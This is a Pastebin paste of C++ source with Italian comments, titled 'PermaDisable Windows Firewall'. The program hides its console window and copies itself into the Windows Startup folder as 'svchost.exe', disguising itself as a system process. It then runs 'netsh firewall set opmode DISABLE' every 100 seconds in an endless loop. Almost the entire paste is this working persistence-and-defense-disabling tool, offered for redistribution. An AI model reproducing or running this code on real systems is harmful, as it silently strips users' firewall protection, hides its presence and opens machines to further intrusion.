Advertisement
informaticage

PermaDisable Windows Firewall

Dec 11th, 2014
418
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 2.15 KB | None | 0 0
  1. /* Software scritto da Informaticage_NJP */
  2. /* Informaticage.altervista.org */
  3. /* Puoi distribuire il seguente software e sorgente citando le fonti */
  4. /* Giusto per un po di pubblicità XD */
  5.  
  6. #include <cstdlib>
  7. #include <iostream>
  8. #include <windows.h>
  9. #include<Shlobj.h>
  10. #include <string>
  11.  
  12. // #include "C:\\Program Files (x86)\\Windows Kits\\8.0\\Include\\um\\netfw.h"
  13.  
  14.  
  15. using namespace std;
  16.  
  17. void kill_fw();
  18.  
  19. int main()
  20. {
  21.  
  22.     FreeConsole();
  23.     /* Dichiarazioni */
  24.     TCHAR startup_path[MAX_PATH];
  25.     TCHAR my_path[MAX_PATH];
  26.     string file_name = "\\svchost.exe";
  27.     string startup_filename_path;
  28.  
  29.     /* Salviamo il percorso del nostro exe in un TCHAR */
  30.     /* Se non ci sono errori procediamo */
  31.     if(GetModuleFileName(NULL, my_path, MAX_PATH) != 0)
  32.     {
  33.         /* Se siamo riusciti a trovare la cartella di startup... */
  34.         if(SUCCEEDED(SHGetFolderPath(NULL,CSIDL_STARTUP, NULL, 0, startup_path)))
  35.         {
  36.             startup_filename_path = startup_path;
  37.             startup_filename_path.append(file_name);
  38.             /* Se riusciamo a copiare il file... */
  39.             if(CopyFile(my_path, (const TCHAR*)startup_filename_path.c_str(), false) != 0) // Copiamo in esecuzione automatica anche se il file esiste già
  40.             {
  41.                 cout << "File copiato con successo!" << endl;
  42.                 while(true) // all'infinito...
  43.                 {
  44.                     kill_fw(); // Richiamiamo la funzione kill_fw() per terminare il firewall
  45.                     Sleep(100000); // ogni 100 secondi controlla
  46.                 }
  47.             }
  48.             else
  49.             {
  50.                 cout << "Error during CopyFile" << endl;
  51.                 system("Pause");
  52.                 return EXIT_SUCCESS;
  53.             }
  54.         }
  55.     }
  56.  
  57.     return EXIT_SUCCESS; // return 0;
  58. }
  59.  
  60. void kill_fw()
  61. {
  62.     if(system("netsh firewall set opmode DISABLE >> null") != 0) // chiamata a system
  63.     {
  64.        cout << "Error may have occurred"
  65.             << endl
  66.             << "Sicuro di avere i privilegi?"
  67.             << endl;
  68.     }
  69.     else
  70.     {
  71.         cout << "Firewall disattivato con successo!" << endl;
  72.     }
  73. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement